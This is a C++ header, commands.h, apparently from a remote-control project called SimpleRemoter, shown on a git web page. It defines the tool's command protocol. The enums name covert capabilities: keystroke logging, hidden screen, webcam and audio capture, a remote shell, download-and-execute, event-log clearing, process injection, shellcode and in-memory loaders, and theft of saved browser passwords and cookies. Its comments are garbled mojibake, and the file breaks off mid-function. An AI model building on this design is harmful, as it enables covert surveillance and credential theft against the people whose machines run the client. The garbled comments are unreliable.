Files
SimpleRemoter/common/commands.h

867 lines
22 KiB
C
Raw Normal View History

#pragma once
#define _CRT_SECURE_NO_WARNINGS
#include <vector>
#include <string>
#include <iosfwd>
#include <iostream>
#include <sstream>
#include <string.h>
#include <map>
#include <numeric>
#include <ctime>
#include <chrono>
#ifdef _WIN32
#include <concrt.h>
#include <corecrt_io.h>
#define MVirtualFree(a1, a2, a3) VirtualFree(a1, a2, a3)
#define MVirtualAlloc(a1, a2, a3, a4) VirtualAlloc(a1, a2, a3, a4)
#else // ʹ<>ø<EFBFBD>ͷ<EFBFBD>ļ<EFBFBD><C4BC><EFBFBD> LINUX <20><><EFBFBD><EFBFBD>ʹ<EFBFBD><CAB9>
#include <thread>
#define strcat_s strcat
#define sprintf_s sprintf
#define strcpy_s strcpy
#define __stdcall
#define WINAPI
#define TRUE 1
#define FALSE 0
#define skCrypt(p)
#define Mprintf printf
#define ASSERT(p)
#define AUTO_TICK_C(p)
#define AUTO_TICK(p)
#define OutputDebugStringA(p) printf(p)
#include <unistd.h>
#define Sleep(n) ((n) >= 1000 ? sleep((n) / 1000) : usleep((n) * 1000))
typedef int64_t __int64;
typedef uint32_t DWORD;
typedef int BOOL, SOCKET;
typedef unsigned int ULONG;
typedef unsigned int UINT;
typedef void VOID;
typedef unsigned char BYTE;
typedef BYTE* PBYTE, * LPBYTE;
typedef void* LPVOID, * HANDLE;
#define GET_PROCESS(a1, a2)
#define MVirtualFree(a1, a2, a3) delete[]a1
#define MVirtualAlloc(a1, a2, a3, a4) new BYTE[a2]
#define CopyMemory memcpy
#define MoveMemory memmove
#define INVALID_SOCKET -1
#define SOCKET_ERROR -1
#define closesocket close
#define CloseHandle(p)
#define CancelIo(p) close(reinterpret_cast<intptr_t>(p))
#endif
2025-05-27 04:15:35 +08:00
#include "ip_enc.h"
#include <time.h>
#include <unordered_map>
#ifndef _MAX_PATH
#define _MAX_PATH 260
#endif
2024-12-29 01:09:06 +08:00
// <20><><EFBFBD><EFBFBD>2<EFBFBD><32><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ȫ<EFBFBD><C8AB>Ψһ<CEA8><D2BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ɷ<EFBFBD><C9B7><EFBFBD>ʱ<EFBFBD><CAB1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
#define FLAG_FINDEN "Hello, World!"
#define FLAG_GHOST FLAG_FINDEN
// <20><><EFBFBD>س<EFBFBD><D8B3><EFBFBD>Ψһ<CEA8><D2BB>ʶ
#define MASTER_HASH "61f04dd637a74ee34493fc1025de2c131022536da751c29e3ff4e9024d8eec43"
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Է<EFBFBD><D4B7><EFBFBD><EFBFBD>仯ʱ<E4BBAF><CAB1>Ӧ<EFBFBD>ø<EFBFBD><C3B8><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ֵ<EFBFBD><D6B5><EFBFBD>Ա<EFBFBD><D4B1>Ա<EFBFBD><D4B1>س<EFBFBD><D8B3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
#define DLL_VERSION __DATE__ // DLL<4C>
#define TALK_DLG_MAXLEN 1024 // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ַ<EFBFBD><D6B7><EFBFBD><EFBFBD><EFBFBD>
// <20>ͻ<EFBFBD><CDBB><EFBFBD>״̬: 1-<2D><><EFBFBD>ض<EFBFBD><D8B6>˳<EFBFBD> 2-<2D><><EFBFBD>ض<EFBFBD><D8B6>˳<EFBFBD>
enum State {
S_CLIENT_NORMAL = 0,
S_CLIENT_EXIT = 1,
S_SERVER_EXIT = 2,
S_CLIENT_UPDATE = 3,
};
// <20><><EFBFBD><EFBFBD>ö<EFBFBD><C3B6><EFBFBD>б<EFBFBD>
enum
{
// <20>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD>ʽ
TRANSFER_MODE_NORMAL = 0x00, // һ<><D2BB>,<2C><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ػ<EFBFBD><D8BB><EFBFBD>Զ<EFBFBD><D4B6><EFBFBD>Ѿ<EFBFBD><D1BE>У<EFBFBD>ȡ<EFBFBD><C8A1>
TRANSFER_MODE_ADDITION, // ׷<><D7B7>
TRANSFER_MODE_ADDITION_ALL, // ȫ<><C8AB>׷<EFBFBD><D7B7>
TRANSFER_MODE_OVERWRITE, // <20><><EFBFBD><EFBFBD>
TRANSFER_MODE_OVERWRITE_ALL, // ȫ<><C8AB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
TRANSFER_MODE_JUMP, // <20><><EFBFBD><EFBFBD>
TRANSFER_MODE_JUMP_ALL, // ȫ<><C8AB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
TRANSFER_MODE_CANCEL, // ȡ<><C8A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
// <20><><EFBFBD>ƶ˷<C6B6><CBB7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
COMMAND_ACTIVED = 0x00, // <20><><EFBFBD><EFBFBD><EFBFBD>˿<EFBFBD><CBBF>Լ<EFBFBD><D4BC>ʼ<EEBFAA><CABC><EFBFBD><EFBFBD>
COMMAND_LIST_DRIVE, // <20>г<EFBFBD><D0B3><EFBFBD><EFBFBD><EFBFBD>Ŀ¼
COMMAND_LIST_FILES, // <20>г<EFBFBD>Ŀ¼<C4BF>е<EFBFBD><D0B5>ļ<EFBFBD>
COMMAND_DOWN_FILES, // <20><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD>
COMMAND_FILE_SIZE, // <20>ϴ<EFBFBD>ʱ<EFBFBD><CAB1><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD>С
COMMAND_FILE_DATA, // <20>ϴ<EFBFBD>ʱ<EFBFBD><CAB1><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>
COMMAND_EXCEPTION, // <20><><EFBFBD><EFBFBD><E4B7A2><EFBFBD><EFBFBD><ECB3A3><EFBFBD><EFBFBD>Ҫ<EFBFBD><D2AA><EFBFBD>´<EFBFBD><C2B4><EFBFBD>
COMMAND_CONTINUE, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
COMMAND_STOP, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ֹ
COMMAND_DELETE_FILE, // ɾ<><C9BE><EFBFBD>ļ<EFBFBD>
COMMAND_DELETE_DIRECTORY, // ɾ<><C9BE>Ŀ¼
COMMAND_SET_TRANSFER_MODE, // <20><><EFBFBD>ô<EFBFBD><C3B4>ʽ
COMMAND_CREATE_FOLDER, // <20><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD>
COMMAND_RENAME_FILE, // <20>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>
COMMAND_OPEN_FILE_SHOW, // <20><>ʾ<EFBFBD><CABE><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD>
COMMAND_OPEN_FILE_HIDE, // <20><><EFBFBD>ش<EFBFBD><D8B4><EFBFBD><EFBFBD>ļ<EFBFBD>
COMMAND_SCREEN_SPY, // <20><>Ļ<EFBFBD>
COMMAND_SCREEN_RESET, // <20>ı<EFBFBD><C4B1><EFBFBD>Ļ<EFBFBD><C4BB><EFBFBD><EFBFBD>
COMMAND_ALGORITHM_RESET, // <20>ı<EFBFBD><C4B1>
COMMAND_SCREEN_CTRL_ALT_DEL, // <20><><EFBFBD><EFBFBD>Ctrl+Alt+Del
COMMAND_SCREEN_CONTROL, // <20><>Ļ<EFBFBD><C4BB><EFBFBD><EFBFBD>
COMMAND_SCREEN_BLOCK_INPUT, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>˼<EFBFBD><CBBC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
COMMAND_SCREEN_BLANK, // <20><><EFBFBD><EFBFBD><EFBFBD>˺<EFBFBD><CBBA><EFBFBD>
COMMAND_SCREEN_CAPTURE_LAYER, // <20><>׽<EFBFBD><D7BD>
COMMAND_SCREEN_GET_CLIPBOARD, // <20><>ȡԶ<C8A1>̼<EFBFBD><CCBC><EFBFBD><EFBFBD><EFBFBD>
COMMAND_SCREEN_SET_CLIPBOARD, // <20><><EFBFBD><EFBFBD>Զ<EFBFBD>̼<EFBFBD><CCBC><EFBFBD><EFBFBD><EFBFBD>
COMMAND_WEBCAM, // <20><><EFBFBD><EFBFBD>ͷ
COMMAND_WEBCAM_ENABLECOMPRESS, // <20><><EFBFBD><EFBFBD>ͷ<EFBFBD><CDB7><EFBFBD><EFBFBD>Ҫ<EFBFBD>󾭹<EFBFBD>H263ѹ<33><D1B9>
COMMAND_WEBCAM_DISABLECOMPRESS, // <20><><EFBFBD><EFBFBD>ͷ<EFBFBD><CDB7><EFBFBD><EFBFBD>Ҫ<EFBFBD><D2AA>ԭʼ<D4AD><CABC><EFBFBD><EFBFBD>ģʽ
COMMAND_WEBCAM_RESIZE, // <20><><EFBFBD><EFBFBD>ͷ<EFBFBD><CDB7><EFBFBD><EFBFBD><EFBFBD>ֱ<EFBFBD><D6B1>ʣ<EFBFBD><CAA3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>INT<4E>͵Ŀ<CDB5><C4BF><EFBFBD>
COMMAND_NEXT, // <20><>һ<EFBFBD><D2BB>(<28><><EFBFBD>ƶ<EFBFBD><C6B6>Ѿ<EFBFBD><D1BE>򿪶Ի<F2BFAAB6><D4BB><EFBFBD>)
COMMAND_KEYBOARD, // <20><><EFBFBD>̼<EFBFBD>¼
COMMAND_KEYBOARD_OFFLINE, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>߼<EFBFBD><DFBC>̼<EFBFBD>¼
COMMAND_KEYBOARD_CLEAR, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>̼<EFBFBD>¼<EFBFBD><C2BC><EFBFBD><EFBFBD>
COMMAND_AUDIO, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
COMMAND_SYSTEM, // ϵͳ<CFB5><CDB3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>̣<EFBFBD><CCA3><EFBFBD><EFBFBD><EFBFBD>....<2E><>
COMMAND_PSLIST, // <20><><EFBFBD><EFBFBD><EFBFBD>б<EFBFBD>
COMMAND_WSLIST, // <20><><EFBFBD><EFBFBD><EFBFBD>б<EFBFBD>
COMMAND_DIALUPASS, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
COMMAND_KILLPROCESS, // <20>رս<D8B1><D5BD><EFBFBD>
COMMAND_SHELL, // cmdshell
COMMAND_SESSION, // <20><EFBFBD><E1BBB0><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ػ<EFBFBD><D8BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ע<EFBFBD><D7A2>, ж<>أ<EFBFBD>
COMMAND_REMOVE, // ж<>غ<EFBFBD><D8BA><EFBFBD>
COMMAND_DOWN_EXEC, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> - <20><><EFBFBD><EFBFBD>ִ<EFBFBD><D6B4>
COMMAND_UPDATE_SERVER, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> - <20><><EFBFBD>ظ<EFBFBD><D8B8><EFBFBD>
COMMAND_CLEAN_EVENT, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> - <20><><EFBFBD><EFBFBD>ϵͳ<CFB5><CDB3>־
COMMAND_OPEN_URL_HIDE, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> - <20><><EFBFBD>ش<EFBFBD><D8B4><EFBFBD><EFBFBD><EFBFBD>ҳ
COMMAND_OPEN_URL_SHOW, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> - <20><>ʾ<EFBFBD><CABE><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ҳ
COMMAND_RENAME_REMARK, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ע
COMMAND_REPLAY_HEARTBEAT, // <20>ظ<EFBFBD><D8B8><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
COMMAND_SERVICES, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
COMMAND_REGEDIT,
COMMAND_TALK, // <20><>ʱ<EFBFBD><CAB1>Ϣ<EFBFBD><CFA2>֤
COMMAND_UPDATE = 53, // <20>ͻ<EFBFBD><CDBB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
COMMAND_SHARE = 59, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
COMMAND_PROXY = 60, // <20><><EFBFBD><EFBFBD>ӳ<EFBFBD><D3B3>
TOKEN_SYSINFOLIST = 61, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
TOKEN_CHAT_START = 62, // Զ<>̽<EFBFBD≯
// <20><><EFBFBD><EFBFBD><EFBFBD>˷<EFBFBD><CBB7><EFBFBD><EFBFBD>ı<EFBFBD>ʶ
TOKEN_AUTH = 100, // Ҫ<><D2AA><EFBFBD><EFBFBD>֤
TOKEN_HEARTBEAT, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
TOKEN_LOGIN, // <20><><EFBFBD>߰<EFBFBD>
TOKEN_DRIVE_LIST, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>б<EFBFBD>
TOKEN_FILE_LIST, // <20>ļ<EFBFBD><C4BC>б<EFBFBD>
TOKEN_FILE_SIZE, // <20>ļ<EFBFBD><C4BC><EFBFBD>С<EFBFBD><D0A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD>ʱ<EFBFBD><CAB1>
TOKEN_FILE_DATA, // <20>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>
TOKEN_TRANSFER_FINISH, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
TOKEN_DELETE_FINISH, // ɾ<><C9BE><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
TOKEN_GET_TRANSFER_MODE, // <20>õ<EFBFBD><C3B5>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD>ʽ
TOKEN_GET_FILEDATA, // Զ<>̵õ<CCB5><C3B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>
TOKEN_CREATEFOLDER_FINISH, // <20><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
TOKEN_DATA_CONTINUE, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
TOKEN_RENAME_FINISH, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
TOKEN_EXCEPTION, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
TOKEN_BITMAPINFO, // <20><>Ļ<EFBFBD><EFBFBD><E9BFB4>BITMAPINFO
TOKEN_FIRSTSCREEN, // <20><>Ļ<EFBFBD><EFBFBD>ĵ<EFBFBD>һ<EFBFBD><D2BB>ͼ
TOKEN_NEXTSCREEN, // <20><>Ļ<EFBFBD><EFBFBD><E9BFB4><EFBFBD><EFBFBD>һ<EFBFBD><D2BB>ͼ
TOKEN_CLIPBOARD_TEXT, // <20><>Ļ<EFBFBD>鿴ʱ<E9BFB4><CAB1><EFBFBD>ͼ<EFBFBD><CDBC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
TOKEN_WEBCAM_BITMAPINFO, // <20><><EFBFBD><EFBFBD>ͷ<EFBFBD><CDB7>BITMAPINFOHEADER
TOKEN_WEBCAM_DIB, // <20><><EFBFBD><EFBFBD>ͷ<EFBFBD><CDB7>ͼ<EFBFBD><CDBC><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
TOKEN_AUDIO_START, // <20><>ʼ<EFBFBD><CABC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
TOKEN_AUDIO_DATA, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
TOKEN_KEYBOARD_START, // <20><><EFBFBD>̼<EFBFBD>¼<EFBFBD><C2BC>ʼ
TOKEN_KEYBOARD_DATA, // <20><><EFBFBD>̼<EFBFBD>¼<EFBFBD><C2BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
TOKEN_PSLIST, // <20><><EFBFBD><EFBFBD><EFBFBD>б<EFBFBD>
TOKEN_WSLIST, // <20><><EFBFBD><EFBFBD><EFBFBD>б<EFBFBD>
TOKEN_DIALUPASS, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
TOKEN_SHELL_START, // Զ<><D4B6><EFBFBD>ն˿<D5B6>ʼ
TOKEN_SERVERLIST, // <20><><EFBFBD><EFBFBD><EFBFBD>б<EFBFBD>
COMMAND_SERVICELIST, // ˢ<>·<EFBFBD><C2B7><EFBFBD><EFBFBD>б<EFBFBD>
COMMAND_SERVICECONFIG, // <20><><EFBFBD><EFBFBD><EFBFBD>˷<EFBFBD><CBB7><EFBFBD><EFBFBD>ı<EFBFBD>ʶ
TOKEN_TALK_START, // <20><>ʱ<EFBFBD><CAB1>Ϣ<EFBFBD><CFA2>ʼ
TOKEN_TALKCMPLT, // <20><>ʱ<EFBFBD><CAB1>Ϣ<EFBFBD><CFA2><EFBFBD>ط<EFBFBD>
TOKEN_KEYFRAME=134, // <20>ؼ<EFBFBD>֡
TOKEN_BITMAPINFO_HIDE, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ļ
TOKEN_SCREEN_SIZE, // <20><>Ļ<EFBFBD><C4BB>С
TOKEN_DECRYPT = 199,
TOKEN_REGEDIT = 200, // ע<><D7A2><EFBFBD><EFBFBD>
COMMAND_REG_FIND, // ע<><D7A2><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʶ
TOKEN_REG_KEY,
TOKEN_REG_PATH,
COMMAND_BYE, // <20><><EFBFBD>ض<EFBFBD><D8B6>˳<EFBFBD>
SERVER_EXIT=205, // <20><><EFBFBD>ض<EFBFBD><D8B6>˳<EFBFBD>
SOCKET_DLLLOADER=210, // <20>ͻ<EFBFBD><CDBB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>DLL
CMD_DLLDATA, // <20><>ӦDLL<4C><4C><EFBFBD><EFBFBD>
2025-06-09 14:25:37 +08:00
CMD_RUNASADMIN=214, // ADMIN <20><><EFBFBD><EFBFBD>
CMD_MASTERSETTING = 215, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
CMD_HEARTBEAT_ACK = 216, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ӧ
2025-06-09 14:25:37 +08:00
CMD_SERVER_ADDR = 229, // <20><><EFBFBD>ص<EFBFBD>ַ
TOKEN_ERROR = 230, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʾ
TOKEN_SHELL_DATA = 231, // <20>ն˽<D5B6><CBBD><EFBFBD>
2025-05-29 19:49:05 +08:00
CMD_EXECUTE_DLL = 240, // ִ<>д<EFBFBD><D0B4><EFBFBD>
};
enum ProxyManager {
TOKEN_PROXY_CONNECT_RESULT,
TOKEN_PROXY_BIND_RESULT,
TOKEN_PROXY_CLOSE,
TOKEN_PROXY_DATA,
COMMAND_PROXY_CLOSE,
COMMAND_PROXY_CONNECT,
COMMAND_PROXY_DATA,
COMMAND_PROXY_CONNECT_HOSTNAME,
};
// <20><>̨<EFBFBD><CCA8>Ļ<EFBFBD><C4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
enum HideScreenSpy {
COMMAND_FLUSH_HIDE, // ˢ<><CBA2><EFBFBD><EFBFBD>Ļ
COMMAND_SCREEN_SETSCREEN_HIDE, // <20><><EFBFBD>÷ֱ<C3B7><D6B1><EFBFBD>
COMMAND_HIDE_USER, // <20>Զ<EFBFBD><D4B6><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
COMMAND_HIDE_CLEAR, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>̨
COMMAND_COMMAND_SCREENUALITY60_HIDE, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
COMMAND_COMMAND_SCREENUALITY85_HIDE, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
COMMAND_COMMAND_SCREENUALITY100_HIDE, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
IDM_OPEN_Explorer = 33,
IDM_OPEN_run,
IDM_OPEN_Powershell,
IDM_OPEN_360JS,
IDM_OPEN_360AQ,
IDM_OPEN_360AQ2,
IDM_OPEN_Chrome,
IDM_OPEN_Edge,
IDM_OPEN_Brave,
IDM_OPEN_Firefox,
IDM_OPEN_Iexplore,
IDM_OPEN_ADD_1,
IDM_OPEN_ADD_2,
IDM_OPEN_ADD_3,
IDM_OPEN_ADD_4,
IDM_OPEN_zdy,
IDM_OPEN_zdy2,
IDM_OPEN_close,
};
struct ZdyCmd {
char oldpath[_MAX_PATH];
char newpath[_MAX_PATH];
char cmdline[_MAX_PATH];
};
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
enum DecryptCommand {
COMMAND_LLQ_GetChromePassWord,
COMMAND_LLQ_GetEdgePassWord,
COMMAND_LLQ_GetSpeed360PassWord,
COMMAND_LLQ_Get360sePassWord,
COMMAND_LLQ_GetQQBroPassWord,
COMMAND_LLQ_GetChromeCookies,
};
typedef DecryptCommand BroType;
// <20><><EFBFBD>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ҳ<EFBFBD><D2B3><EFBFBD><EFBFBD><EFBFBD>ж<EFBFBD><D0B6><EFBFBD>
#define CMD_WINDOW_CLOSE 0 // <20>رմ<D8B1><D5B4><EFBFBD>
#define CMD_WINDOW_TEST 1 // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
// MachineManager ϵͳ<CFB5><CDB3><EFBFBD><EFBFBD>, ǰ<><C7B0><EFBFBD><EFBFBD>ö<EFBFBD><C3B6>ֵ˳<D6B5>򲻵<EFBFBD><F2B2BBB5>޸<EFBFBD>
enum MachineManager {
COMMAND_MACHINE_PROCESS,
COMMAND_MACHINE_WINDOWS,
COMMAND_MACHINE_NETSTATE,
COMMAND_MACHINE_SOFTWARE,
COMMAND_MACHINE_HTML,
COMMAND_MACHINE_FAVORITES,
COMMAND_MACHINE_WIN32SERVICE,
COMMAND_MACHINE_DRIVERSERVICE,
COMMAND_MACHINE_TASK,
COMMAND_MACHINE_HOSTS, //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
COMMAND_APPUNINSTALL,//ж<><D0B6>
COMMAND_WINDOW_OPERATE,//<2F><><EFBFBD>ڿ<EFBFBD><DABF><EFBFBD>
COMMAND_WINDOW_CLOSE,//<2F>ر<EFBFBD>
COMMAND_PROCESS_KILL,//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
COMMAND_PROCESS_KILLDEL,//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>----ɾ<><C9BE>
COMMAND_PROCESS_DEL,//ǿ<><C7BF>ɾ<EFBFBD><C9BE> <20><><EFBFBD><EFBFBD>Ҫ<EFBFBD><D2AA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
COMMAND_PROCESS_FREEZING,//<2F><><EFBFBD><EFBFBD>
COMMAND_PROCESS_THAW,//<2F>
COMMAND_HOSTS_SET,//hosts
COMMAND_SERVICE_LIST_WIN32,
COMMAND_SERVICE_LIST_DRIVER,
COMMAND_DELETESERVERICE,
COMMAND_STARTSERVERICE,
COMMAND_STOPSERVERICE,
COMMAND_PAUSESERVERICE,
COMMAND_CONTINUESERVERICE,
COMMAND_TASKCREAT,
COMMAND_TASKDEL,
COMMAND_TASKSTOP,
COMMAND_TASKSTART,
COMMAND_INJECT,
TOKEN_MACHINE_PROCESS,
TOKEN_MACHINE_WINDOWS,
TOKEN_MACHINE_NETSTATE,
TOKEN_MACHINE_SOFTWARE,
TOKEN_MACHINE_HTML,
TOKEN_MACHINE_FAVORITES,
TOKEN_MACHINE_WIN32SERVICE,
TOKEN_MACHINE_DRIVERSERVICE,
TOKEN_MACHINE_HOSTS,
TOKEN_MACHINE_SERVICE_LIST,
TOKEN_MACHINE_TASKLIST,
TOKEN_MACHINE_MSG,
};
struct WINDOWSINFO {
char strTitle[1024];
DWORD m_poceessid;
DWORD m_hwnd;
bool canlook;
int w;
int h;
};
// Զ<>̽<EFBFBD≯
enum ChatManager {
COMMAND_NEXT_CHAT,
COMMAND_CHAT_CLOSE,
COMMAND_CHAT_SCREEN_LOCK,
COMMAND_CHAT_SCREEN_UNLOCK,
};
enum
{
CLIENT_TYPE_DLL = 0, // <20>ͻ<EFBFBD><CDBB>˴<EFBFBD><CBB4><EFBFBD><EFBFBD><EFBFBD>DLL<4C><4C><EFBFBD><EFBFBD>
CLIENT_TYPE_ONE = 1, // <20>ͻ<EFBFBD><CDBB>˴<EFBFBD><CBB4><EFBFBD><EFBFBD>Ե<EFBFBD><D4B5><EFBFBD>EXE<58><45><EFBFBD><EFBFBD>
CLIENT_TYPE_MEMEXE = -1, // <20>ڴ<EFBFBD>EXE<58><45><EFBFBD><EFBFBD>
CLIENT_TYPE_MODULE = 2, // DLL<4C><4C><EFBFBD><EFBFBD><EFBFBD>ⲿ<EFBFBD><E2B2BF><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
CLIENT_TYPE_SHELLCODE = 4, // Shellcode
CLIENT_TYPE_MEMDLL = 5, // <20>ڴ<EFBFBD>DLL<4C><4C><EFBFBD><EFBFBD>
CLIENT_TYPE_LINUX = 6, // LINUX <20>ͻ<EFBFBD><CDBB><EFBFBD>
};
enum {
SHARE_TYPE_YAMA = 0, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͬ<EFBFBD><CDAC><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
SHARE_TYPE_HOLDINGHANDS = 1, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> HoldingHands: https://github.com/yuanyuanxiang/HoldingHands
};
inline const char* GetClientType(int typ) {
switch (typ)
{
case CLIENT_TYPE_DLL:
return "DLL";
case CLIENT_TYPE_ONE:
return "EXE";
case CLIENT_TYPE_MEMEXE:
return "MEXE";
case CLIENT_TYPE_MODULE:
return "DLL";
case CLIENT_TYPE_SHELLCODE:
return "SC";
case CLIENT_TYPE_MEMDLL:
return "MDLL";
case CLIENT_TYPE_LINUX:
return "LNX";
default:
return "DLL";
}
}
2024-12-29 01:09:06 +08:00
inline int compareDates(const std::string& date1, const std::string& date2) {
static const std::unordered_map<std::string, int> monthMap = {
{"Jan", 1}, {"Feb", 2}, {"Mar", 3}, {"Apr", 4}, {"May", 5}, {"Jun", 6},
{"Jul", 7}, {"Aug", 8}, {"Sep", 9}, {"Oct",10}, {"Nov",11}, {"Dec",12}
};
auto parse = [&](const std::string& date) -> std::tuple<int, int, int> {
int month = monthMap.at(date.substr(0, 3));
int day = std::stoi(date.substr(4, 2));
int year = std::stoi(date.substr(7, 4));
return { year, month, day };
};
try {
auto t1 = parse(date1);
auto t2 = parse(date2);
int y1 = std::get<0>(t1), m1 = std::get<1>(t1), d1 = std::get<2>(t1);
int y2 = std::get<0>(t2), m2 = std::get<1>(t2), d2 = std::get<2>(t2);
if (y1 != y2) return y1 < y2 ? -1 : 1;
if (m1 != m2) return m1 < m2 ? -1 : 1;
if (d1 != d2) return d1 < d2 ? -1 : 1;
return 0;
}
